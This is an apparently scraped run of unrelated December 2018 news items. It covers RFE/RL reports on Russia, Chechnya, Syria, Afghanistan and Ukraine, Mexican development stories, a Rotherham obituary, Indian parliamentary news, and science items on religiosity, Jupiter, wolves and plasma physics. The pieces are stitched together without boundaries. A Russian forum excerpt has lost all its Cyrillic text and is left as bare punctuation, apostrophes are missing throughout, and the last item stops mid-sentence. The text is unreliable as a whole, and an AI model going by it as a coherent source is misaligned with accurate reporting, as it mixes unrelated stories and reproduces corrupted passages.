reporter and cameraman. The suicide bomber disguised himself as a media worker and detonated his explosives amid a group of reporters rushing to the scene of the first explosion. Three RFE/RL journalists were also killed in the blast. In September, twin bombings at a wrestling training center in a predominately Shiite neighborhood of Kabul killed at least 20 people, including a reporter and a cameraman from Tolo News. 1. In September, the Brookings Institution reported that for the first time in history more than half of the worlds population can be called middle class or wealthy. The terms the U.S. research group used are inevitably vague, with middle class deemed anyone with some savings who can afford to go to the movies, take a holiday, and buy useful goodies like a motorcycle. But poverty is certainly on the retreat: the percentage of people living below the poverty line has plunged from 36 percent in 1990 to around 9 percent today. 2. Russians are cutting way down on their consumption of booze, according to a study from the World Health Organization. The report found Russians drank around 11.7 liters of pure alcohol in 2016 (the latest figures available), compared to around 18.7 liters in 2005. Russians today probably drink less than Germans and French, though heavy episodic drinking (official-speak for getting hammered) is still commonplace in Russia, where many drinkers regularly smash through 60 grams or more of alcohol in a sitting. 3. The mountain gorillas of Central Africa were removed from the list of critically endangered species after a census found their number had rebounded from 620 in 1989 to around 1,000 now. The gentle forest wanderers had been under imminent threat of extinction (largely due to poachers capturing baby gorillas for the underworld pet trade) until a conservation effort began in the 1990s. A spokesman for one of the conservation charities working in the war-torn region told Reuters these numbers are truly remarkable, far exceeding our expectations. 4. In Armenia, street protests overthrew a government tainted by charges of corruption that is seemingly endemic in many post-Soviet countries. While its probably too early to note any concrete differences for Armenians under the new government, the buzz of a popular revolution with minimal violence has the country riding high as it heads into 2019. In December the Economist named Armenia its country of the year, describing it as an ancient and often misruled nation in a turbulent region [that] has a chance of democracy and renewal." 5. Afghanistans Herat Province was cleared of land mines in February, according to the HALO Trust demining group. Many of the mines were laid during the 1980s when local fighters battled Soviet forces. Some 125 locals were being killed or maimed by munitions each year in the province until the British demining group began a decade of prodding and sweeping in 2008. A HALO spokesman said it is wonderful to see farmland back in use and people moving freely again. Many headlines, however, omitted the two districts of Herat that were reportedly deemed impossible to demine due to the danger posed by militants. 6. Global suicide rates have fallen by 38 percent since peaking in 1994. According to The Economist, thats 4 million people choosing to press on instead of ending their lives -- more than four times the number killed in conflicts over the same period. A notable exception to the downward trend is the United States, where suicide rates have been steadily increasing since the early 2000s. 7. In China, a ban on trading ivory that came into force in December 2017 is already having a significantly positive effect according to the World Wide Fund for Nature (WWF). The conservation group hit the streets in China to find 30 percent fewer stores selling ivory and a massive drop in enthusiasm for buying white gold. Among the Chinese quizzed, the WWF team found overwhelming support for the ban (though few had actually heard of the new law). Pressure is now building for neighboring Vietnam, which maintains a booming ivory trade, to adopt a similar ban. The Russian investigative journalist Roman Dobrokhotov was not expecting problems when he showed up for President Vladimir Putin's annual news conference in Moscow. After all, he was on the Kremlin's list of journalists accredited to the December 20 event -- and even had an official badge. But things went awry as Dobrokhotov, who has published high-profile exposes of two Russians suspected in the poisoning of a Russian ex-spy in England in March, was going through security. "They said: 'Your background check isn't completed yet,'" Dobrokhotov told RFE/RL in a telephone interview. After around 30 minutes, he was told without explanation that he would not be allowed to cover the event. "It seems that after the list of accredited journalists was completed, someone looked at it, saw my name, got upset, and decided not to let me inside," Dobrokhotov said. Putin's annual press conference this year came just months after Dobrokhotov's news site, The Insider, and the investigative group Bellingcat jointly published detailed investigations into the two Russians accused of poisoning Sergei Skripal and his daughter in the English city of Salisbury in March. The investigations into the two men -- identified by Britain as Ruslan Boshirov and Aleksandr Petrov -- alleged that their true names are Anatoly Chepiga and Aleksandr Mishkin, respectively, and presented compelling evidence linking them to Russian military intelligence. Prior to the reports, Putin had said publicly that the two men were simple civilians. Shortly thereafter, the suspects appeared on Russias state-funded RT network and claimed they had traveled to Salisbury as tourists. Britain blames the Russian government for the poisoning of the Skripals, who ultimately survived, with the Soviet-developed nerve agent Novichok, a charge Moscow denies. Dawn Sturgess, a British citizen who was exposed to the nerve agent, later died. A Cellist's Wealth Dobrokhotov told RFE/RL that he hadn't planned to ask Putin about the poisoning suspects if he had been given the microphone at the press conference, to which 1,700 journalists were accredited, because he figured other journalists in the crowd would. Instead, he planned to ask about Russian cellist Sergei Roldugin, a friend of Putin's who was alleged in the Panama Papers expose to have controlled offshore firms through which some $2 billion flowed, including to entities and individuals close to Putin. The Kremlin has brushed off the Panama Papers revelations, while Putin has claimed that Roldugin "spent nearly all the money he earned" to purchase musical instruments abroad and bring them back to Russia. "It is absolutely clear that these offshore companies have nothing to do with musical instruments, but they have a direct relationship with Vladimir Putin. I would be very interested in how Putin would comment on this," Dobrokhotov said. 'It Happens, Unfortunately' Citing an interview with Russian state television, the Russian newspaper RBK quoted Peskov as saying about the press conference: "We had to turn away a small number of journalists -- a handful -- due to security concerns. It happens, unfortunately." Dobrokhotov, 35, is a former opposition activist who was ejected from a Kremlin event in 2008 for heckling then-President Dmitry Medvedev over amendments -- ultimately enacted -- to the Russian Constitution extending the presidential term from four to six years: He told RFE/RL that he hadn't planned to disrupt the December 20 press conference, and that the 2008 incident hadn't affected his journalistic access to senior officials. Dobrokhotov attended a Kremlin-backed youth forum that Putin addressed in 2012, though text messages purportedly leaked by hackers from the phone of Kremlin official Timur Prokopenko later revealed a discussion about how to prevent him from asking a question. "We won't notice him. There are lots of hands there, unless the boss personally points at him," one message in the exchange reads. "At the very least, no one turned me away from or kicked me out of the [2012] event," Dobrokhotov told RFE/RL on December 20. YEKATERINBURG, Russia -- A member of an organized crime group that terrorized residents of the Siberian city of Tyumen for years has been sentenced to 24 years in prison. The Urals Regional Military Court in Yekaterinburg on December 20 found Aleksei Korotkov, a former lieutenant of the Federal Security Service (FSB), guilty of seven counts of murder and several other crimes. Korotkov, 34, avoided life in prison by pleading guilty and cooperating with the investigation into the criminal group dubbed by local media as the "FSB killers" gang. He provided investigators with detailed information on the gangs criminal activities and testified against other members of the group, which included other officers of the FSB and police. The gang, which was used by local businesses to protect their interests, was involved in robberies, thefts, extortion, and murders. Police apprehend the gang members in January 2017 after a series of murders of migrant workers from Central Asia and taxi drivers in Tyumen. Other members of the group will be tried separately. Authorities in Russia's Chechnya region have committed torture, enforced disappearances, extrajudicial executions, and other very serious human rights violations and abuses, an expert report has concluded. The fact-finding report on human rights violations and abuses in Chechnya, presented at the Organization for Security and Cooperation in Europe (OSCE) on December 20, said the victims included members of the lesbian, gay, bisexual, and transgender (LGBT) community, human right defenders, lawyers, independent media, and civil society organizations. It found a worsening climate of intimidation against journalists and civil society activists and a climate of impunity, which it said is detrimental to any accountability for human rights violations. The report also noted that the Russian authorities responsible for investigating crimes in Chechnya appear not to have lived up to their responsibilities in addressing the grave situation in the region. Chechnya is treated like a special case, and area of exceptionwhere a special regime of impunity is tolerated for the sake of stability, the report says. It calls on Russia to make sure that Chechen authorities fully comply with the countrys domestic legislation and international human rights obligations. Russia should also open an inquiry into the actions of the government of the Chechen Republic towards [LGBT] persons in general, as well as a criminal case on the alleged violations of the human rights of [Maksim] Lapunov in particular. Lapunov is the only person to publicly claim that he was a victim of an antigay crackdown in Chechnya in the spring of 2017 that triggered a global outcry. An appeals court last month upheld the decision of a lower court that backed investigators who refused to open a criminal case based on his allegations that he was abducted and beaten by police in Chechnya because he is gay. The expert report also said that human rights defenders and the media should be allowed to operate in Chechnya without reprisal, and called on the Russian authorities to immediately release Oyub Titiyev, the head of the prominent Russian human rights group Memorial's office in Chechnya, on bail. Titiyev was detained in January by police in Chechnya who said they found marijuana in his car. He and his colleagues contend that the drugs were planted and have described the case as part of an effort to push Memorial out of Chechnya -- ruled for years by Kremlin-backed strongman Ramzan Kadyrov. In a statement, the U.S. State Department welcomed the report and called on Russia to protect the human rights of all within its borders, consistent with international law, OSCE commitments, and its own constitution. The report is the result of the invocation in November by the United States and 15 other OSCE member states of a diplomatic tool known as the Moscow Mechanism. The mechanism allows for an investigation to be launched without consensus and independently of the OSCE chairmanship, institutions, and decision-making bodies if one member state, supported by at least nine others, "considers that a particularly serious threat to the fulfillment of the provisions of the [OSCE] human dimension has arisen in another participating state." This year, Putin's press conference finished after less than four hours, with the Russian president answering 66 questions from 53 journalists. How does that stack up against previous years? Russia's state-run broadcaster RT broke Britain's broadcasting code in its reporting about the March poisoning of a Russian former spy in England, Britain's media regulator says. Ofcom said on December 20 that RT broke impartiality rules in seven programs broadcast over a six-week period in March-April, calling them "a serious failure of compliance." It said the TV station failed to give due weight to a wide range of voices on a matter of major political controversy. The watchdog said it was considering a "statutory sanction," which could range from a fine to a license suspension. RT said it was "extremely disappointed by Ofcom's conclusions." Britain blames the Russian government for the poisoning of Russian former double agent Sergei Skripal and his daughter, Yulia, in the city of Salisbury. Russia has repeatedly denied evidence that its agents were behind the poisoning and accused British intelligence agencies of staging the incident to stoke anti-Russian hysteria. The Skripals survived the poisoning, in which a Soviet-made military nerve agent known as Novichok was used. Two other British citizens were exposed to the same nerve agent in June, apparently by accident; one of them, Dawn Sturgess, died. Ofcom since 2012 has repeatedly found RT to have breached its rules on impartiality and of broadcasting "materially misleading" content. Based on reporting by the BBC and AP U.S. President Donald Trump has defended his unexpected decision to withdraw U.S. troops from Syria, a move met with concern by members of the anti-Islamic State (IS) coalition, but lauded by Russia. Trump said in several tweets early on December 20 that his decision was in line with his promise from his 2016 presidential campaign to withdraw from Syria. He said the United States should not become "the Policeman of the Middle East," and it was "time for others to finally fight." Trump made the surprise announcement in a video message posted on Twitter saying that "after historic victories" against IS militants, U.S. troops are "all coming back and theyre all coming back now" from Syria. "We have won against [IS], weve beaten them, and weve beaten them badly," he said in the video on December 19. "Now its time for our troops to come back home," he added. The video posting came after confusion and some concerns were raised by U.S. lawmakers and allies in response to an earlier tweet by the president that said, "We have defeated [IS] in Syria, my only reason for being there during the Trump Presidency." U.S. officials told media outlets the president had decided to rapidly withdraw all troops from Syria, and White House spokeswoman Sarah Sanders said some of the 2,000-strong U.S. force had begun to leave after the militants' "territorial caliphate" had been defeated. France, Britain, and Germany, key members of the anti-IS coalition, reacted to the announcement with skepticism, saying that much remains to be done in Syria. France said it would maintain its participation in the anti-IS coalition. "For now of course we remain in Syria," France's European Affairs Minister Nathalie Loiseau said on December 20, adding that "the fight against terrorism is not over." A British government statement warned that "much remains to be done" in fighting the IS group in Syria. "The global coalition against [IS] has made huge progress," the statement issued late on December 19 said. "But much remains to be done and we must not lose sight of the threat they pose. Even without territory, [IS] will remain a threat," the statement said. PHOTO GALLERY: U.S. Forces In Syria (click to view) Junior Defense Minister Tobias Ellwood was more blunt, retweeting a message from Trump that the jihadists had been defeated in Syria with the words: "I strongly disagree." Germany also voiced concern, with Foreign Minister Heiko Maas saying in a statement that "the abrupt change of course by the American side comes as a surprise not only for us." Maas said that while IS has been pushed back, "the threat is not yet over." But Russia, who together with Iran has given Syrian President Bashar al-Assad's government crucial support throughout the Syrian conflict, welcomed Trump's announced withdrawal. President Vladimir Putin, speaking at his annual news conference in Moscow on December 20, said he agreed with Trump that the defeat of the Islamic State group removes the need for the U.S. military presence in the country. Putin reiterated Moscow's long-held argument that the U.S. presence in Syria was illegitimate since it did not have the stamp of approval from the UN Security Council or from Assad's government. "If the U.S. decided to withdraw its contingent, it has done the right thing," Putin said. But the Russian leader added a note of skepticism, saying that it remains to be seen whether America will indeed withdraw and noting Washington's repeated promises to end its 17-year presence in Afghanistan. In the United States, many Republican and Democratic lawmakers condemned Trump's move. Some said it handed a victory to Russia and Iran. Others said it was a betrayal to U.S.-backed Kurdish fighters in the war-torn country. One U.S.-allied Kurdish militia, the Syrian Democratic Forces (SDF) said Trump's decision to withdraw from Syria would have a "negative impact" on the campaign to rout IS. "The withdrawal decision will be a direct blow to efforts to completely defeat the terrorist organization and will have dangerous consequences on global stability and peace," the SDF said in a December 20 statement. Addressing the UN Security Council later in the day, U.S. diplomat Rodney Hunter said the United States "remains committed to the permanent destruction of [IS] and other terrorist groups in Syria." Washington will also "use all instruments of our national power to press for a withdrawal of Iranian-backed forces" in the war-torn country, Hunter added. The Syrian conflict, which began with a government crackdown on protesters in March 2011, has left more than 400,000 people dead, displaced millions, and devastated many historic sites across the country. In 2014, IS fighters seized large swaths of Syrian and Iraqi territory in a lightning offensive and proclaimed a so-called Islamic "caliphate." IS militants have lost virtually all the territory they once controlled in Iraq, but still carry out sporadic attacks. With reporting by Reuters, AFP, and the BBC The U.S. special peace envoy for Afghanistan, Zalmay Khalilzad, has questioned the Taliban's determination to end the 17-year war, after the group's representatives refused to meet with an Afghan government-backed negotiating team. "We have to wait and see their forthcoming steps," Khalilzad told Afghan news agency Ariana News on December 20, according to a translation of the interview provided by the U.S. Embassy in Kabul. Khalilzad said that, while he was certain the Afghan government wanted to end the conflict, it was unclear whether the Taliban were "genuinely seeking peace." Khalilzad's remarks came after his latest face-to-face meeting earlier this week with the Taliban, which was held in Abu Dhabi, the capital of the United Arab Emirates and was also attended by Saudi Arabia and Pakistan. The U.A.E. hailed the talks as "positive for all parties concerned." And the Saudi ambassador to Washington, Khalid bin Salman, said that the meetings will produce "very positive results by the beginning of next year." But the Taliban would not meet with a 12-person Afghan delegation, Khalilzad said, describing the decision as "wrong." "If the Taliban are really seeking peace, they have to sit with the Afghan government ultimately to reach an agreement on the future political settlement in Afghanistan," the former U.S. ambassador to Iraq and Afghanistan said. The Taliban has refused direct talks with the Afghan government, which it says is an American puppet. Based on reporting by AFP and Reuters KYIV Ukraines parliament has approved a bill that would force the Ukrainian Orthodox Church of the Moscow Patriarchate (UOC-MP) to change its name. A total of 240 lawmakers voted for the legislation on December 20, as hundreds of people opposed to the bill held a mass prayer next to the parliaments building. After the vote, the UOC-MP urged President Petro Poroshenko to veto the text, calling it unconstitutional. The proposed law would require a religious organization whose governing center is based in a country waging war against Ukraine or occupying Ukrainian territory to change its name to reflect its affiliation. The bill would force the UOC-MP, which remains subordinate to Russia, to add "Russian" to its name. Moscow forcibly annexed Ukraines Crimea region in March 2014 and supports separatists battling Ukrainian forces in eastern Ukraine in a conflict there has killed more than 10,300 people since April 2014. "There is no question that the church that blesses weapons, the killers of Ukrainians, should not bear the name of Ukraine," Ukrainian parliament speaker Andriy Parubiy told lawmakers. Oleksandr Bryhynets of the Bloc of Petro Poroshenko faction in parliament said the church may choose any option for itself. For example, the Russian Orthodox Church in Ukraine, the Russian Orthodox Church in Kharkiv, the Russian Orthodox Church in Kyiv. It is their right. They can choose [their name] during registration." The move comes after Ukrainian Orthodox leaders last week agreed on the creation of a new national Ukrainian Orthodox Church and elected the 39-year-old Metropolitan Epifaniy to head it. Ecumenical Patriarch Bartholomew of Constantinople is expected to hand over a "tomos" -- a decree granting autocephaly, or independence -- to Epifaniy on January 6. Ukraine's leaders said the move was vital to the country's security and independence, but it could further raise tensions with Moscow, which has opposed Kyivs efforts to secure an independent church. With reporting by TASS, UNIAN, and Reuters The UN General Assembly has endorsed a nonbinding accord to increase global cooperation on migration issues in the face of opposition from the United States and four other countries. The Global Compact for Migration, the first international document dealing with the issue, was passed on December 19 with 152 votes in favor, 12 abstentions, and 24 countries not voting. Hungary, the Czech Republic, Israel, and Poland joined the United States in opposing the pact. The resolution was originally adopted by acclamation at a conference in early December in Marrakesh, Morocco. The accord addresses issues such as how to protect migrants, integrate them, and send them home. The compacts principles include recognizing the sovereignty of nations and reaffirming that migrants have the same human rights as all other people that "must be respected, protected, and fulfilled at all times." UN Secretary-General Antonio Guterres welcomed the resolution's adoption, saying it provides a platform for international cooperation that can lead to "humane and sensible action to benefit countries of origin, transit, and destination as well as migrants themselves." The United States argued that the resolution is attempting to "globalize" how migration is carried out at the expense of nations' sovereignty and is attempting to make new international law. Some right-wing European politicians contend it could increase immigration from African and Arab countries. Backers point out it is nonbinding and that countries remain in charge of their own borders and migration policy. Based on reporting by AP, Reuters, and dpa 14 A U.S. vehicle near Manbij in April 2018. On December 19, U.S. President Donald Trump declared it was time for American troops "to come back home." The statement led to a flurry of criticism that the move would embolden IS, with one Republican senator saying a withdrawal would be a mistake, claiming the Islamic State group has been "degraded" but not yet defeated. Ejidos and environmentalists vow to fight development after sale of two Tulum lagoons Tulum, Q.R. The sale of two lagoons in Tulum has created a stir with both Ejido and environmentalists who say developments along the lagoons would be catastrophic. Environmentalists are joining a list of those wanting to stop possible development after two Tulum lagoons were reportedly sold for developmental purposes. They say they will seek the intervention of environmental authorities because the ecosystem is at risk. The two lagoons sold are environmental buffer zones and the habitat for many species also deemed to be at risk, which is why the Ministry of Environment is being asked to intervene. Sara Madrigal, a biologist from the National Autonomous University of Mexico explained that developing in these areas considered a natural buffer zone would be catastrophe for the environment of the municipality of Tulum. She also explained that in order to carry out such developments, there will be legal issues that the developers will not be able to comply with because first, according to the plan of local ecological order, the lagoons are zero density, that is to say that nothing can be developed in that area. The legal issues are necessary to put a total stop to this impunity and depredation of the flora and fauna of that region, she said adding that being a lagoon or cenote, these belong to the Federation and are managed by Conagua in such a way that it would be practically impossible to make use of the land. Another problem, she points out, would be that a lot of weak fauna and flora of the region would be at risk which would be a contradiction to the official Mexican standards of Semarnat which says that it is important to protect and care for the environment and species in danger of extinction. Earlier this week, it became known that two Tulum lagoons, La Union and Kaan Luum, were sold for 350 million peso to investors for the development of condominiums and housing projects. Ejido members of Tulum have already said they will seek the intervention of the Supreme Court of Justice of the Nation to reverse the sale of the La Union and Kaan Luum lagoons. German company Siemens AG wants in on Mexicos Maya Train Riviera Maya, Q.R. German company Siemens AG has expressed interest in participating in the construction of the Maya Train megaproject. Siemens AG, a German conglomerate company and the largest industrial manufacturing company in Europe, says they are interested in the project, incorporating state-of-the-art technology to guarantee a comfortable, automated train that is always on time, making it one of the most modern and technologically advanced. Juan Ignacio Diaz, CEO of Siemens for Mexico, Central America and the Caribbean, says their company provides technology ranging from connectors, control boxes and isolated equipment to complete trains or infrastructure and intends to participate in the construction of the Maya Train. Ignacio Diaz says We can participate in the whole chain, from the generation of energy, transmission, electrification of roads and signaling, to the physical part of trains, automation and digitalization. There could also be other benefits, and that is the use of Siemens technology in European trains allows up to 30 percent savings in electricity and warm up in start-up and braking, he said. He noted that the company has recently won a tender for the Russian Moscow-Kaza project that will extend to Beijing, China and use new magnetic levitation Maglev engines, which can reach a speed of up to 300 kilometers per hour and save on energy, which he adds, can be extended in the way of a discounted passenger ticket. Nigel Hague wingwalking in 2014 FORMER foreign secretary William Hague has led the tributes to his fearless fundraising father. Nigel Hague, who devoted his working life to his familys Parkgate soft drinks business, known locally as Hagues Pop, died aged 90 last Monday. Mr Hague had recently moved to North Yorkshire to be with his family and was diagnosed with liver cancer just a few weeks ago. The daredevil OAP, who lived in the village of Harley, raised an estimated 250,000 for charity with celebrated stunts including a skydive at age 83 and a biplane wing-walk four years later. Ex-politician Lord Hague (below), the youngest of Mr Hagues four children, described his dad as a real character. He added: He had a great sense of humour, loads of stories and people enjoyed his company. My dad was interested in politics and had strong views which were hard to characterise. He and my mother as parents wanted to provide a stable loving home for us but would never push or pressurise us to do anything. He was always proud and supportive. He was active right up to the end and a model for all of us in old age. Mr Hague raised 51,000 for the NSPCC in 2009 with a sponsored climb of 3,209ft Scafell Pike in the Lake District and collected 52,000 for the childrens charity skydive in 2011. In 2014, he braved a wing-walk over the English Channel to pay tribute to the efforts of D-Day soldiers this time in aid of Rotherham dementia charity Lost Chord. Mr Hague was immortalised on canvas in 2015 by painter and photographer Ryan Braidley, who also lives in Harley. Recalling how the sitting came about, Ryan said: I approached him and asked if he would be willing to allow me to create a portrait of him in his flying gear to celebrate his achievements. Thankfully, he was very keen and agreed to join me on a sitting, where we chatted for a couple of hours a true eccentric English gent. His thirst for life and positive outlook was inspirational to listen to. The resulting painting was one of only 55 selected to be exhibited out of 2,500 first round entries in the National Portrait Gallerys prestigious annual BP Portrait award in 2015. A larger-than-life print of the painting can be seen in Rotherhams Howard Street as part of the ongoing Gallery Town open-air art exhibition. Ryan described Mr Hague as an interesting character who has always been humble about his fund-raising achievements. Mr Hague was born in Greasbrough and lived there most of his life, later moving to Wentworth and Harley. He served in the Army in Germany before working for and later running Charles Hague and Sons, which he sold on his retirement in 1990. He had a stake in several Rotherham pubs, including the Rockingham Arms in Wentworth, known as the Rock. A father to three girls and one boy with his wife Stella - who died ten years ago, he had five grandchildren and three great-grandchildren. We had all the children and grandchildren together for a 90th birthday celebration in July, said Lord Hague. Mr Hagues funeral will be held at Wentworths Holy Trinity Church at 12.30pm next Friday (28). Lord Hague said everyone was welcome to attend and donations would be welcomed for Cancer Relief Yorkshire and church funds. Rajya Sabha adjourned New Delhi, Dec 20 (PTI) The Rajya Sabha was Thursday adjourned for the day without transacting any business after ruckus in the House over the Rafale fighter jet deal and Cauvery river issue. Soon after the House met for the day, slogan-shouting members of Tamil parties - AIADMK and DMK -- trooped into the well of the House over the Cauvery issue. Opposition Congress members also shouted slogans and held placards seeking a probe by the Joint Parliamentary Committee (JPC) into the purchase of Rafale jets from France. Treasury benches countered Congress members with slogans demanding an apology from Congress President Rahul Gandhi following the Supreme Court clean chit to the Rafale deal. Rajya Sabha Chairman M Venkaiah Naidu said all issues can be discussed and members should allow the House to function. Advertisement Ruckus in the House "Many issues are pending. Important bills are there. We have to discuss about (devastation caused by) cyclones (in some states)," he said. He said a notice has been given on the Rafale deal. "We can discuss Rafale deal too. Government has given in writing that it has no objection to a discussion on Rafale." Besides discussions on distress in agriculture sector and price rise are also slated, he said. "The entire country is agitated about the way the House is functioning. The whole country is watching," he said before adjourning the proceedings for the day. Earlier, Naidu said he had gone into the records after Minister of State for Parliamentary Affairs Vijay Goel had on Wednesday demanded that Congress deputy leader Anand Sharma withdraw his remarks about him. Advertisement Rajya Sabha Chairman M Venkaiah Naidu Naidu said Sharma had on December 18, while raising a point of order, stated that Goel had sought an apology from Rahul Gandhi, who is a member of the Lok Sabha, over the Rafale issue. However, Goel had on December 19 stated that he made no reference to Rahul Gandhi and Anand Sharma should withdraw his remarks, Naidu said, adding he went through the records carefully and found that Goel had not referred to Gandhi. "Therefore the averment made by Goel is correct," he said. Sharma said he respects the ruling of the Chair but there was a din and commotion in the House and ruling party members were standing and shouting slogans seeking apology from Gandhi. Naidu, however, said the record is straight. "Statement made by Goel seems to be correct," Naidu said. Decision is late but still a ray of hope for thousands of victims Spokesman News Service: Chandigarh, Dec 20: On 29 April 2013 when the lower court acquitted Sajjan Kumar accused of November 1984 Sikh Genocide, Bhai Karnail Singh Peer Mohammad former president of All India Sikh students federation showed his remorse by throwing a shoe at him in the court. While talking to media Today after the hearing of his case he said that the Honourable Delhi high court has validated his action by convicting Sajjan Kumar. He further said that the political patronage given to these animals resulted in the delaying of justice. Advertisement Karnail Singh Peer Mohammad further said that the fight us far from over as they still need the conviction of Jagdish Tytler and Kamal Nath who has been throned as the chief minister of Madhya pradesh. This action of congress party reassured the Sikh Panth of their malafide intentions. Karnail Singh Peer Mohammad said that the recent decision has raised some hopes . Although the decision is late but still a ray of hope for thousands of victims who lost everything in 1984. Vladimir611 20 2018, 16:25 brontosky (): , . . , . brontosky (): , , , . . brontosky (): , . , . brontosky (): . , . brontosky (): , . , ? ?! , . , , , . , . , , , . ? , . 5% , . , , ( , , ) , . . The late Stephen Hawking famously didn't believe in God. Neither does the renowned Richard Dawkins. But is that typical for U.K. scientists? In a new study, researchers from Rice University, Baruch College and West Virginia University find that scientists are indeed significantly less religious than the general population there. In addition, U.K. scientists at elite universities are more likely to never attend religious services than those at less prestigious schools. The study also indicates biologists are more likely to never attend religious services than physicists. "The Religiosity of Academic Scientists in the United Kingdom: Assessing the Role of Discipline and Department Status" utilizes data collected in a survey of biologists and physicists employed at elite and nonelite departments, as past research has suggested the distinction could be relevant in understanding differences in religiosity. The researchers were interested in how U.K. scientists, particularly elite scientists, compared to the general population with regard to religious beliefs. The researchers found that while only 18 percent of people in the U.K. said they do not believe in God, 45 percent of U.K. scientists responded the same way. In addition, the researchers discovered that scientists in elite departments (a categorization based on the number of publications per department, published department rankings and insider knowledge) are about twice as likely to never attend religious services than scientists in nonelite departments. Elaine Howard Ecklund, the Herbert S. Autrey Chair in Social Sciences, professor of sociology, director of Rice's Religion and Public Life Program and the study's lead author, observes that that elite scientists represent the leading edge of the secularizing effects of science. advertisement "Individuals who are at the most elite institutions may disproportionately feel the cultural pressure to secularize," Ecklund said. "So, if those methods and mindset are inherently in conflict with religion, then these successful scientists would experience the greatest erosion of religious faith." Ecklund noted that such findings could also be a product of social forces rather than intellectual ones. "This distinction could have an impact on how the public views scientists, in a national context where some minority groups are bringing challenges to teaching evolutionary theory, for example," she said. "Elite scientists might express less religiosity because they assume that, as elite scientists, they are supposed to be or need to be less religious to fit a professional ideal," she added. "Because they might already be on the fringes of that professional ideal in the first place, nonelite scientists may feel less social and cultural pressure to further conform to it." Study co-author Christopher P. Scheitle of West Virginia University's Department of Sociology and Anthropology said this might also help explain why U.K. biologists are more than 2 times more likely to never attend religious services than British physicists. "It is possible that U.K. biologists might be concerned that being seen as a more active participant in religion would violate some professional norm," said Jared Peifer, an assistant professor in the Department of Management at Baruch College's Zicklin School of Business. Ecklund added: "This norm might result from the history of public conflict surrounding issues like evolution and stem cell research, which are most clearly connected to the biological sciences." The researchers hope their work will help foster a better understanding of the social dynamics between religion and science beyond the traditional focus on the U.S. The study was funded by a grant from the Templeton World Charity Foundation. A regular pattern of unusual meteorological events at Jupiter's equator has been identified by planetary scientists at the University of Leicester. Jupiter's striped appearance of light zones and dark brown belts provides breathtaking views through amateur and professional telescopes alike. But Jupiter's stripes can change and shift over poorly-understood timescales, sometimes expanding and contracting, sometimes fading away entirely. Using a large database of observations of Jupiter spanning more than four decades, scientists have been working to understand the forces shaping these gargantuan weather changes on the Solar System's largest planet. In research recently published in Geophysical Research Letters, the team used data -- telescopic infrared observations -- to show evidence of unique events at Jupiter's equator when the usual thick, white clouds appeared to be completely missing. Lead author Dr Arrate Antunano from the University of Leicester's Department of Physics and Astronomy said: "Jupiter's equator is normally completely clouded over, appearing dark in the infrared because those clouds appear in silhouette against Jupiter's warm internal glow. Those thick clouds make the equator look white through a visible telescope." Co-author Dr Leigh Fletcher also from the University of Leicester's Department of Physics and Astronomy said: "Professional astronomers have been tracking Jupiter's infrared emission for decades, particularly using NASA's Infrared Telescope Facility on top of Maunakea, Hawai'i. advertisement "Only by putting all of these observations together, from a wide variety of instruments over more than three Jupiter years -- a year on Jupiter lasts 12 Earth years -- did we begin to spot a pattern." Dr Antunano said: "Every six or seven years, we found examples of observations when the equatorial clouds had vanished completely, allowing us to see deeper into Jupiter's churning atmosphere. These cloud-clearing disturbances left the equator looking very bright in the infrared, and dark brownish in visible light. These disturbances lasted for 12-18 months, and we saw spectacular examples in 1973, 1979, 1992, 1999 and 2006." With this pattern, the researchers expected to see events in 1985 and 2013, but although the brownish equatorial colours were apparent, the clouds didn't clear completely. Dr Glenn Orton, a Senior Research Scientist at NASA's Jet Propulsion Laboratory, Pasadena, California, and one of the people responsible for the enormous database of ground-based Jupiter observations used in this study, explained: "As usual, Jupiter is reluctant to give up all its secrets at once. It seems that this six-seven-year pattern isn't perfect, and sometimes we don't see a complete cloud-clearing disturbance." None of these previous equatorial disturbances have been properly analysed by a visiting spacecraft. advertisement Dr Antunano said: "If we follow the pattern over the last 45 years, the really exciting result of this work is that we expect to see a new event very soon, perhaps as early as next year." Jupiter is currently close to solar conjunction, meaning that it's hiding away behind the Sun, and won't become visible to Earth-based observers for the next few months. There are already tantalising hints that things are changing, with small breaks in Jupiter's equatorial clouds apparent in the latest images. The new study, funded by the European Research Council and NASA, could have some surprising implications for Juno's exploration of Jupiter. Juno has been orbiting Jupiter since July 2016, returning spectacular new insights into its deep atmosphere and magnetosphere. Dr Orton said: "Peering beneath the clouds, Juno's microwave instrument revealed a deep column of ammonia gas rising at the equator and condensing to form those white clouds at the equator. We're excited to see whether that deep ammonia plume is about to change during the new equatorial disturbance event." Indeed, the scientists suspect that the accumulation of ammonia at the equator might help to explain the bizarre six-seven year pattern of the events. Dr Antunano added: "These long-term observations are the key to unlocking the secrets of these slow weather patterns and climate variations on Jupiter, and allow us to place the findings of NASA's Juno mission into the proper historical context." Wolves travel shorter distances and move slower during snowfall events, according to new research by University of Alberta biologists. The effects were most pronounced at night, when wolves hunt, and behaviour returned to normal within a day. Wolf tracks across snow in northeastern Alberta. Wolf tracks across snow in northeastern Alberta. The study found that wolves travel shorter distances and move slower during snowfall. Photo credit: Amanda Droghini "Our findings suggest that there is something about actively falling snow that causes wolves to slow down," said Amanda Droghini, a former MSc student in the Department of Biological Science and lead author on the study. "We don't know the exact mechanism behind that. It's unlikely that they were staying still because they were feasting on a recent kill. Instead, active precipitation might affect wolves' hunting abilities. Like rain, snow clears the air column of scent molecules. So, maybe falling snow makes it harder for wolves to detect the smell of prey." Over the course of two winters, the researchers used remote cameras to identify snowfall events and estimate snow depth. To study wolf movement, they collected telemetry data from 17 wolves to calculate travel speed and duration, as well as resting periods. It is the first study to examine how large carnivores respond to snowfall events. With the effects of climate change on precipitation in the boreal forest region uncertain, it is difficult to predict the implications for wolf populations. Studies such as these increase our understanding of how large mammals react to normal snowfall events, but the type and amount of winter precipitation will likely have an impact on animal behavior and the energetic cost of movement. . "Winter is already challenging for many wildlife species because moving through snow requires more energy. Snow can also make it harder for animals to access food resources," said Droghini, who conducted the research under the supervision of Professor Stan Boutin, Alberta Biodiversity Conservation Chair. "Anything that increases those costs, such as increased rain-on-snow events, could lead to nutritional deficiencies, poor body condition, and even starvation as animals are unable to make up for those additional costs. That is one of the worst-case scenarios but, in truth, we know very little about potential changes to precipitation patterns and how wildlife will respond to those changes." Once upon a time, people thought that electrons and ions always stuck together, living happily ever after. However, under low density of matter or high temperatures, the components of matter are no longer bound together. Instead, they form plasma, a state of matter naturally occurring in our universe, which has since been harnessed for everyday applications such as TV screens, chip etching and torches, but also propulsion and even sustained energy production via controlled fusion. In a fascinating editorial for a special plasma issue of EPJ H, called "Plasma physics in the 20th century as told by players," three physicists share their perspectives on key events in the early history of 